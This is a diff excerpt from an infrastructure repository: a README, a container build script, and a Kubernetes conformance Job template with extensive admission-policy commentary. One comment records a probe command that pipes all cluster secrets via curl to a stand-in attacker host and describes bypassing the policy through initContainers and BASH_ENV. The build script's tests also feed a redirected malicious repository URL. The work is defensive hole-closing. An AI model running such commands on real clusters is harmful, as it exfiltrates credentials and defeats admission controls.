`CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
|
||||
honoured, because a URL taken from env would let the trigger choose which repository's
|
||||
code runs as `conformance-runner`. This branch's Job depends on that interface:
|
||||
`CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
|
||||
(hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
|
||||
> **The other half landed with this branch.** When `conformance-clone` arrived, the
|
||||
> admission policy pinned the main container's `command` but **never read
|
||||
> `initContainers`** — an init container with `command: ["/bin/sh","-c"]` and an arbitrary
|
||||
> script was ADMITTED and ran as the privileged `conformance-runner` SA, so this file was
|
||||
> merely *available* rather than *required*. The rule that closes it is
|
||||
> `trigger-initcontainers-must-be-the-committed-clone-step`: at most one init container,
|
||||
> digest-pinned to the conformance-runner image, `command` exactly
|
||||
> `/usr/local/bin/conformance-clone`, and **no `args` at all**. `ephemeralContainers` and
|
||||
> `env`/`envFrom` were the same shape of hole and are closed in the same policy.
|
||||
- `build-image.sh` — builds the above, **verifies the toolchain by running it** inside the
|
||||
image as uid 65532 with `--read-only`, and prints the digest. It **never pushes**: it
|
||||
prints the exact `podman push --digestfile …` command for the operator instead. See
|
||||
`conformance/versions.env` `CONFORMANCE_RUNNER_IMAGE` for the post-push pin.
|
||||
`--verify-clone` additionally has `conformance-clone` really clone this repo at a real SHA
|
||||
and asserts the checkout matches (opt-in, because it needs the Gitea host reachable — the
|
||||
default verify stays offline so an air-gapped build is fully checked, not half-checked).
|
||||
|
||||
## Flow
|
||||
1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a
|
||||
trigger with narrow rights: create Job + read its logs/status — *not* a broad
|
||||
kubeconfig).
|
||||
2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs
|
||||
`./run.sh` under `conformance-runner`.
|
||||
3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` +
|
||||
`coverage/` to the results volume (`/workspace/conformance/_artifacts`).
|
||||
4. CI collects those artifacts (results volume or the terminating log stream, which echoes
|
||||
their paths) and enforces the merge / phase-exit gate on them.
|
||||
1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
|
||||
runner image digest and the commit SHA — replaces `args` with the invocation shape, and
|
||||
`create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
|
||||
pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
|
||||
2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
|
||||
fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
|
||||
3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
|
||||
shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
|
||||
not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
|
||||
the suite runs at the commit under test or not at all. The read-only Gitea credential
|
||||
reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
|
||||
`username`/`token`), never as a volume: admission allows no volume but `workspace` and
|
||||
`results`.
|
||||
4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
|
||||
`coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
|
||||
5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
|
||||
stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
|
||||
decodes it from `kubectl logs` and must make all five completeness checks listed above
|
||||
`conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
|
||||
of decoding to plausible garbage.
|
||||
|
||||
## Prerequisites before this Job can run at all
|
||||
- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
|
||||
`token`: a **read-only** Gitea token for this repository. Never a write token or a
|
||||
push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
|
||||
- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
|
||||
before this template is usable; its digest is what the trigger substitutes. Contract the
|
||||
image MUST meet, because the Job and the admission policy both depend on it:
|
||||
- bash, git, python3, chainsaw and kubectl on `PATH`;
|
||||
- a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
|
||||
uid in the Containerfile means the Job will not start;
|
||||
- `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
|
||||
mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
|
||||
that exact path, so an image without it cannot run the clone step and no other path will
|
||||
be admitted.
|
||||
|
||||
## Phase 0
|
||||
No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux
|
||||
|
||||
Executable
+229
@@ -0,0 +1,229 @@
|
||||
#!/usr/bin/env bash
|
||||
###############################################################################
|
||||
# conformance/incluster/build-image.sh — build the pinned `conformance-runner`
|
||||
# image and print its digest. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
|
||||
#
|
||||
# ./build-image.sh # build + verify + print the digest and push command
|
||||
# ./build-image.sh --no-verify # build only (skip the in-image tool proof)
|
||||
# ./build-image.sh --verify-clone # ALSO really clone this repo with conformance-clone.
|
||||
# # Opt-in because it needs the Gitea host reachable; the
|
||||
# # default verify is offline so an air-gapped build is
|
||||
# # still fully checked rather than half-checked.
|
||||
# ENGINE=docker ./build-image.sh # build with docker instead of podman
|
||||
#
|
||||
# THIS SCRIPT NEVER PUSHES. Publishing is an operator action: the registry credential is
|
||||
# not an agent's to hold, and the pushed digest is what a fail-closed admission policy
|
||||
# then trusts. So this builds locally, proves the toolchain works INSIDE the image as the
|
||||
# non-root uid the policy demands, and prints the exact `podman push` line for a human.
|
||||
#
|
||||
# VERSIONS ARE NOT DEFINED HERE. They are read from infra/devcontainer/versions.env, the
|
||||
# single source of truth (CHAINSAW_VERSION, KUBECTL_VERSION, FEDORA_VERSION) — the same
|
||||
# pins the toolbox gate runs with. Nothing in this file invents a version.
|
||||
#
|
||||
# THE DIGEST CAVEAT — read it before pasting a digest into anything.
|
||||
# The digest printed here is the LOCAL manifest digest. It is normally identical to the
|
||||
# registry digest (podman pushes the manifest it already has rather than recompressing),
|
||||
# but that is a property of the push, not a guarantee. So the push command below uses
|
||||
# `--digestfile`: the digest the registry actually returns is the authoritative one, and
|
||||
# that is the one that goes into conformance/versions.env.
|
||||
###############################################################################
|
||||
set -euo pipefail
|
||||
|
||||
HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
REPO_ROOT="$(cd "${HERE}/../.." && pwd)"
|
||||
ENGINE="${ENGINE:-podman}"
|
||||
|
||||
VERIFY=1
|
||||
VERIFY_CLONE=0
|
||||
for arg in "$@"; do
|
||||
case "$arg" in
|
||||
--no-verify) VERIFY=0 ;;
|
||||
--verify-clone) VERIFY_CLONE=1 ;;
|
||||
-h|--help) sed -n '2,/^####/p' "${BASH_SOURCE[0]}" | sed '$d' | sed 's/^# \{0,1\}//'; exit 0 ;;
|
||||
*) echo "unknown argument: $arg" >&2; exit 2 ;;
|
||||
esac
|
||||
done
|
||||
|
||||
log() { printf '\n\033[1m==> %s\033[0m\n' "$*"; }
|
||||
info() { printf ' %s\n' "$*"; }
|
||||
die() { printf '\033[31mERROR: %s\033[0m\n' "$*" >&2; exit 1; }
|
||||
|
||||
command -v "${ENGINE}" >/dev/null 2>&1 || die "'${ENGINE}' not on PATH (set ENGINE=docker to use docker)"
|
||||
|
||||
# --- pins: sourced, never invented -------------------------------------------
|
||||
TOOLCHAIN_ENV="${REPO_ROOT}/infra/devcontainer/versions.env"
|
||||
[ -f "${TOOLCHAIN_ENV}" ] || die "missing ${TOOLCHAIN_ENV} — the pins live there, not here"
|
||||
# shellcheck disable=SC1090
|
||||
source "${TOOLCHAIN_ENV}"
|
||||
: "${CHAINSAW_VERSION:?CHAINSAW_VERSION not set in ${TOOLCHAIN_ENV}}"
|
||||
: "${KUBECTL_VERSION:?KUBECTL_VERSION not set in ${TOOLCHAIN_ENV}}"
|
||||
: "${FEDORA_VERSION:?FEDORA_VERSION not set in ${TOOLCHAIN_ENV}}"
|
||||
|
||||
# --- image name: fixed by the admission policy -------------------------------
|
||||
# platform/kyverno/admission/conformance-trigger-job-shape.yaml admits ONLY
|
||||
# gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*. The repository path
|
||||
# is therefore not a preference; a different path is a DENIED Job. Do not "improve" it here.
|
||||
IMAGE_REPO="gitea.home.keithjackson.dev/home-network/conformance-runner"
|
||||
# The tag is build convenience only (a human-readable handle for the push). Admission
|
||||
# ignores it: only the digest is ever referenced from a Job.
|
||||
IMAGE_TAG="chainsaw${CHAINSAW_VERSION}-kubectl${KUBECTL_VERSION}-fc${FEDORA_VERSION}"
|
||||
IMAGE_REF="${IMAGE_REPO}:${IMAGE_TAG}"
|
||||
|
||||
log "Building ${IMAGE_REF}"
|
||||
info "engine ${ENGINE} ($(${ENGINE} --version 2>/dev/null | head -1))"
|
||||
info "pins from ${TOOLCHAIN_ENV}"
|
||||
info " CHAINSAW ${CHAINSAW_VERSION}"
|
||||
info " KUBECTL ${KUBECTL_VERSION}"
|
||||
info " FEDORA ${FEDORA_VERSION}"
|
||||
|
||||
"${ENGINE}" build \
|
||||
--file "${HERE}/Containerfile" \
|
||||
--tag "${IMAGE_REF}" \
|
||||
--build-arg "CHAINSAW_VERSION=${CHAINSAW_VERSION}" \
|
||||
--build-arg "KUBECTL_VERSION=${KUBECTL_VERSION}" \
|
||||
--build-arg "FEDORA_VERSION=${FEDORA_VERSION}" \
|
||||
"${HERE}"
|
||||
|
||||
# --- verify: the point of the whole exercise ---------------------------------
|
||||
# The stock chainsaw image "had" chainsaw and still could not run ./run.sh. So prove the
|
||||
# tools EXECUTE, and prove they execute as the NON-ROOT uid with a READ-ONLY root
|
||||
# filesystem — the shape the admission policy forces. A pass here is the only evidence
|
||||
# this image is usable; a build that merely succeeded is not.
|
||||
if [ "${VERIFY}" -eq 1 ]; then
|
||||
log "Verifying the toolchain inside the image (non-root, read-only rootfs)"
|
||||
"${ENGINE}" run --rm \
|
||||
--user 65532:65532 \
|
||||
--read-only \
|
||||
--tmpfs /workspace:rw,mode=1777 \
|
||||
--entrypoint "" \
|
||||
"${IMAGE_REF}" \
|
||||
/bin/bash -euo pipefail -c '
|
||||
echo "--- id ---"; id
|
||||
echo "--- HOME ---"; echo "HOME=${HOME}"
|
||||
echo "--- bash ---"; bash --version | head -1
|
||||
echo "--- python3 ---"; python3 --version
|
||||
echo "--- git ---"; git --version
|
||||
echo "--- kubectl ---"; kubectl version --client
|
||||
echo "--- chainsaw ---"; chainsaw version
|
||||
echo "--- baked versions ---"; cat /etc/conformance-runner-versions
|
||||
echo "--- conformance-clone: fixed path, root-owned, NOT writable by the runner ---"
|
||||
stat -c "%n %U:%G %a" /usr/local/bin/conformance-clone
|
||||
if [ -w /usr/local/bin/conformance-clone ]; then
|
||||
echo "UNEXPECTED: uid $(id -u) can write the one executable the policy will trust"; exit 1
|
||||
fi
|
||||
echo "confirmed: not writable by uid $(id -u)"
|
||||
# Each of these MUST fail. Assert the non-zero exit as well as the message: a check
|
||||
# that only greps stderr would pass a build where the guard had stopped rejecting.
|
||||
# (`|| true` inside the capture keeps `set -e`/`pipefail` from aborting on the
|
||||
# expected failure — without it the verify dies at the first negative case.)
|
||||
expect_fail() {
|
||||
local label="$1"; shift
|
||||
local out rc=0
|
||||
out="$(env "$@" 2>&1)" || rc=$?
|
||||
echo "--- ${label} ---"
|
||||
printf "%s\n" "${out}" | head -2
|
||||
if [ "${rc}" -eq 0 ]; then
|
||||
echo "UNEXPECTED: that should have failed, but it exited 0"; exit 1
|
||||
fi
|
||||
echo "(rejected, exit ${rc})"
|
||||
}
|
||||
expect_fail "conformance-clone rejects arguments (that is where an injection would live)" \
|
||||
conformance-clone --layer l2
|
||||
expect_fail "conformance-clone rejects a missing SHA" \
|
||||
conformance-clone
|
||||
expect_fail "conformance-clone rejects a branch name instead of a SHA (no silent run of the tip)" \
|
||||
CONFORMANCE_GIT_SHA=main conformance-clone
|
||||
expect_fail "conformance-clone rejects an UNRENDERED placeholder" \
|
||||
CONFORMANCE_GIT_SHA=@@CONFORMANCE_GIT_SHA@@ conformance-clone
|
||||
expect_fail "conformance-clone rejects a HOME off the workspace volume" \
|
||||
CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
|
||||
HOME=/etc conformance-clone
|
||||
expect_fail "conformance-clone refuses a REDIRECTED repository URL (the env-injection hole)" \
|
||||
CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
|
||||
CONFORMANCE_REPO_URL=https://evil.invalid/x.git conformance-clone
|
||||
expect_fail "conformance-clone refuses a clone target off the workspace volume" \
|
||||
CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
|
||||
CONFORMANCE_SRC=/etc/src conformance-clone
|
||||
echo "--- rootfs is read-only (expected: a failure) ---"
|
||||
if touch /should-fail 2>/dev/null; then echo "UNEXPECTED: rootfs is writable"; exit 1; fi
|
||||
echo "confirmed: / is read-only"
|
||||
echo "--- HOME is writable (the workspace emptyDir) ---"
|
||||
touch "${HOME}/.probe" && echo "confirmed: ${HOME} is writable"
|
||||
echo "--- uid is non-zero ---"
|
||||
[ "$(id -u)" -ne 0 ] && echo "confirmed: running as uid $(id -u), not root"
|
||||
'
|
||||
log "Toolchain verified"
|
||||
fi
|
||||
|
||||
# --- verify the clone helper against the REAL repository (opt-in: needs network) ----
|
||||
# The negative cases above prove conformance-clone refuses bad input. This proves the
|
||||
# positive case: it lands the EXACT commit asked for and can prove it did. Without this, the
|
||||
# rev-parse assertion is only an unexercised line of shell.
|
||||
if [ "${VERIFY_CLONE}" -eq 1 ]; then
|
||||
log "Verifying conformance-clone against the real repository"
|
||||
SHA="$(git -C "${REPO_ROOT}" rev-parse HEAD)"
|
||||
info "requesting commit ${SHA}"
|
||||
"${ENGINE}" run --rm \
|
||||
--user 65532:65532 \
|
||||
--read-only \
|
||||
--tmpfs /workspace:rw,mode=1777 \
|
||||
--network host \
|
||||
--entrypoint "" \
|
||||
-e "CONFORMANCE_GIT_SHA=${SHA}" \
|
||||
"${IMAGE_REF}" \
|
||||
/bin/bash -euo pipefail -c '
|
||||
conformance-clone
|
||||
echo "--- assert rev-parse HEAD == the requested SHA ---"
|
||||
got="$(git -C /workspace/src rev-parse HEAD)"
|
||||
echo "requested: ${CONFORMANCE_GIT_SHA}"
|
||||
echo "HEAD: ${got}"
|
||||
[ "${got}" = "${CONFORMANCE_GIT_SHA}" ] || { echo "MISMATCH"; exit 1; }
|
||||
echo "confirmed: the working tree is at the requested commit"
|
||||
test -x /workspace/src/conformance/run.sh && echo "confirmed: run.sh present and executable"
|
||||
'
|
||||
log "conformance-clone verified against the real repository"
|
||||
fi
|
||||
|
||||
# --- digest ------------------------------------------------------------------
|
||||
DIGEST="$("${ENGINE}" image inspect --format '{{.Digest}}' "${IMAGE_REF}")"
|
||||
IMAGE_ID="$("${ENGINE}" image inspect --format '{{.Id}}' "${IMAGE_REF}")"
|
||||
SIZE="$("${ENGINE}" image inspect --format '{{.Size}}' "${IMAGE_REF}")"
|
||||
|
||||
log "Built ${IMAGE_REF}"
|
||||
info "local manifest digest ${DIGEST}"
|
||||
info "image id ${IMAGE_ID}"
|
||||
info "size $(( SIZE / 1024 / 1024 )) MiB"
|
||||
|
||||
cat <<EOF
|
||||
|
||||
================================================================================
|
||||
NOT PUSHED. Publishing is an operator action — this script holds no registry
|
||||
credential and will never acquire one.
|
||||
|
||||
OPERATOR: run these two commands, then paste the digest from the digestfile into
|
||||
conformance/versions.env (CONFORMANCE_RUNNER_IMAGE) via a PR:
|
||||
|
||||
${ENGINE} login gitea.home.keithjackson.dev
|
||||
|
||||
${ENGINE} push --digestfile /tmp/conformance-runner.digest \\
|
||||
${IMAGE_REF}
|
||||
|
||||
Then:
|
||||
|
||||
cat /tmp/conformance-runner.digest
|
||||
# -> sha256:.... THIS is the authoritative digest, not the local one above.
|
||||
|
||||
# conformance/versions.env
|
||||
CONFORMANCE_RUNNER_IMAGE="${IMAGE_REPO}@\$(cat /tmp/conformance-runner.digest)"
|
||||
|
||||
WHY THE DIGEST AND NOT THE TAG: platform/kyverno/admission/conformance-trigger-job-shape.yaml
|
||||
is a fail-closed Enforce policy. It DENIES any conformance-trigger Job whose image is not
|
||||
${IMAGE_REPO}@sha256:<digest>. A tag reference is denied,
|
||||
and so is any other repository path.
|
||||
|
||||
TIGHTEN THE BOUNDARY AFTERWARDS: that policy's header asks for the wildcard
|
||||
\`${IMAGE_REPO}@sha256:*\` to be replaced with the
|
||||
LITERAL digest once the image exists, closing the "anyone who can push to this path" gap.
|
||||
That is a separate, human-reviewed PR against the security boundary.
|
||||
================================================================================
|
||||
EOF
|
||||
@@ -1,23 +1,175 @@
|
||||
# =============================================================================
|
||||
# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14)
|
||||
# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
|
||||
# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
|
||||
#
|
||||
# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO
|
||||
# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner`
|
||||
# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that
|
||||
# CI collects, and enforces the merge / phase-exit gate on the outcome.
|
||||
# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
|
||||
# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
|
||||
# create a permanent Job object and fight the trigger for ownership.
|
||||
#
|
||||
# Two invocation shapes (CI sets args):
|
||||
# * MERGE GATE: ./run.sh --requirements <touched R-IDs> (subset)
|
||||
# * PHASE EXIT: ./run.sh --layer all (full suite)
|
||||
# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
|
||||
# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
|
||||
# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
|
||||
# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
|
||||
#
|
||||
# Results artifact mechanism (delegated to WS-TEST by docs/14 open items):
|
||||
# Chosen = a shared results emptyDir + a terminating log stream, with an
|
||||
# OPTIONAL results PVC for durability across CI collection. For Phase 0 there is
|
||||
# no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised
|
||||
# once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the
|
||||
# results volume (or scrapes the pod log, which echoes their paths).
|
||||
# -----------------------------------------------------------------------------
|
||||
# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
|
||||
# -----------------------------------------------------------------------------
|
||||
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
|
||||
# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
|
||||
# ONLY: exactly one container on a digest-pinned conformance-runner image,
|
||||
# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
|
||||
# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
|
||||
# host namespaces, non-root with privilege escalation off, and — the constraint that
|
||||
# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
|
||||
#
|
||||
# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE.
|
||||
# So the git credential CANNOT be a projected/secret volume, and the init container
|
||||
# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
|
||||
# * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
|
||||
# BY SECRET NAME ONLY — no token literal ever appears in this file;
|
||||
# * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
|
||||
# readOnlyRootFilesystem stays true without a third volume and without subPath
|
||||
# mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
|
||||
# by the non-root runner).
|
||||
#
|
||||
# Verify before changing anything here:
|
||||
# kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
|
||||
# --resource <rendered job> \
|
||||
# --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
|
||||
# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
|
||||
# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
|
||||
#
|
||||
# -----------------------------------------------------------------------------
|
||||
# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
|
||||
# -----------------------------------------------------------------------------
|
||||
# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
|
||||
# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
|
||||
# never examined, so the exact escalation the policy exists to stop was reachable one
|
||||
# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
|
||||
# compliant:
|
||||
#
|
||||
# * this template with ONLY the init container's args replaced by
|
||||
# `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
|
||||
# * and (the coordinator's independent reproduction) a `privileged: true`
|
||||
# `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
|
||||
#
|
||||
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # BOTH ADMITTED
|
||||
#
|
||||
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
|
||||
#
|
||||
# Closed by new rules in that policy, authorised by the coordinator in this PR
|
||||
# (the original brief forbade policy edits; that was to stop the boundary being BENT to
|
||||
# fit a Job, not to stop a hole being closed):
|
||||
# * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
|
||||
# container, on the digest-pinned runner image, `command:
|
||||
# ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
|
||||
# not privileged. The clone logic moved OUT of this manifest and into the image for
|
||||
# exactly this reason: a policy cannot vet a shell script passed as `args`, so the
|
||||
# script had to stop being caller-supplied data. It stays reviewable as
|
||||
# conformance/incluster/conformance-clone.
|
||||
# * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
|
||||
# unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
|
||||
# verified here, and the rule costs nothing if it is true.
|
||||
# * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
|
||||
# was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
|
||||
# the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
|
||||
# sources it before running a non-interactive script. Names are allowlisted per container;
|
||||
# VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
|
||||
# environment-specific, and conformance-runner can already read this namespace's Secrets
|
||||
# through its own RBAC, so pinning the source would buy nothing).
|
||||
#
|
||||
# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
|
||||
# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
|
||||
# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
|
||||
# `envfrom-whole-secret` — so they stay failing.
|
||||
#
|
||||
# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
|
||||
# committed shape" policy is only as good as its enumeration of every field that can carry
|
||||
# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
|
||||
# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
|
||||
# does, that is the finding, not an oversight to work around.
|
||||
#
|
||||
# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
|
||||
# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
|
||||
#
|
||||
# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
|
||||
# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
|
||||
#
|
||||
# -----------------------------------------------------------------------------
|
||||
# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
|
||||
# -----------------------------------------------------------------------------
|
||||
# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
|
||||
# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
|
||||
# that belongs to a script — a trap this file walked into while the clone logic was still an
|
||||
# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
|
||||
# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
|
||||
# with a two-token sed, nothing cleverer:
|
||||
#
|
||||
# sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
|
||||
# -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
|
||||
#
|
||||
# @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ the 64-hex digest of the pinned runner image.
|
||||
# Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
|
||||
# are committed literals, so the substitution cannot repoint the image at another
|
||||
# repository, and the template still satisfies the policy's image pattern before
|
||||
# rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
|
||||
# @@CONFORMANCE_GIT_SHA@@ the 40-hex commit under test. The init container
|
||||
# REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
|
||||
# or an injected value is a hard failure, never a run of the wrong tree.
|
||||
#
|
||||
# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
|
||||
# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
|
||||
# file be handed to `kyverno apply` as-is.
|
||||
#
|
||||
# -----------------------------------------------------------------------------
|
||||
# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
|
||||
# -----------------------------------------------------------------------------
|
||||
# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
|
||||
# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
|
||||
# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
|
||||
# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
|
||||
#
|
||||
# requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
|
||||
# offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
|
||||
#
|
||||
# so:
|
||||
# ["--layer","l2,l3"] -> offline selection EMPTY. RUNS.
|
||||
# ["--layer","l2,l3","--requirements","R-NET-01"] -> intersected to L2/L3. RUNS.
|
||||
# ["--layer","l2,l3","--include-scope","whole-repo"] -> scope union is ALSO
|
||||
# layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
|
||||
# ["--requirements","R-NET-01"] (no --layer, so LAYER=all) -> unbounded: pulls that
|
||||
# requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
|
||||
# ["--layer","all","--strict-coverage"] -> every L0/L1 test. FAILS.
|
||||
#
|
||||
# The first three are measured working by the image build (PR #18); the last two are measured
|
||||
# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
|
||||
# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
|
||||
# The committed default below is the narrowest shape that works.
|
||||
#
|
||||
# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
|
||||
# security boundary should not encode which toolchain an image happens to ship, and the failure
|
||||
# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
|
||||
# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
|
||||
#
|
||||
# -----------------------------------------------------------------------------
|
||||
# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
|
||||
# -----------------------------------------------------------------------------
|
||||
# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
|
||||
# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
|
||||
# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
|
||||
#
|
||||
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||
# <base64 of the tgz, wrapped at 76 columns>
|
||||
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||
#
|
||||
# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
|
||||
# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
|
||||
# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
|
||||
# complete artifact set — which a bare blob would, because base64 decodes a truncated
|
||||
# stream to plausible garbage without complaint. See the block comment above
|
||||
# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
|
||||
#
|
||||
# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
|
||||
# transport is the pod's log, so the Job must finish while that log still exists.
|
||||
# =============================================================================
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
@@ -28,7 +180,10 @@ metadata:
|
||||
app.kubernetes.io/part-of: conformance
|
||||
spec:
|
||||
backoffLimit: 0 # deterministic: a failed conformance run is a failure, no retry
|
||||
# A retry would also re-emit the artifact envelope, giving the collector two BEGIN
|
||||
# markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
|
||||
ttlSecondsAfterFinished: 3600
|
||||
activeDeadlineSeconds: 5400 # L3 fault injection is slow; a hung run must not hold the gate
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
@@ -37,38 +192,118 @@ spec:
|
||||
serviceAccountName: conformance-runner # scoped test identity (rbac.yaml)
|
||||
restartPolicy: Never
|
||||
securityContext:
|
||||
# runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
|
||||
# alone only *rejects* a root image, it does not choose a uid, and the runner image
|
||||
# is built by a separate task (plan §5 step 1). 65532 is the conventional
|
||||
